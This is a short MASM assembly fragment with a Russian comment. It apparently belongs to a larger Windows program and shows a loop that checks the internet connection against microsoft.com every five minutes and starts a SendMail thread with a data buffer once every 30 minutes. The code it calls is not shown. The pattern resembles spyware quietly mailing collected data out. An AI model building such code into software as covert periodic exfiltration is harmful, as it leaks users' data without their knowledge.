Функция раз в 30 минут отправляет почту если есть связь с инетом.


CheckDialUpConet proc

jmp @F
timcnt dd 0
szmicr db "http://www.microsoft.com", 0
@@:
invoke GetTickCount
.while szmicr[0] != 0
invoke InternetCheckConnectionA, offset szmicr, FLAG_ICC_FORCE_CONNECTION, 0
.if eax
invoke GetTickCount
mov ecx, eax
sub ecx, timcnt
.if ecx > 1000*60*30
mov timcnt, eax
invoke CreateThread, NULL, NULL, addr SendMail, addr pDats, NORMAL_PRIORITY_CLASS, addr szguart
.endif
.endif
invoke Sleep, 1000*60*5
.endw
ret

CheckDialUpConet endp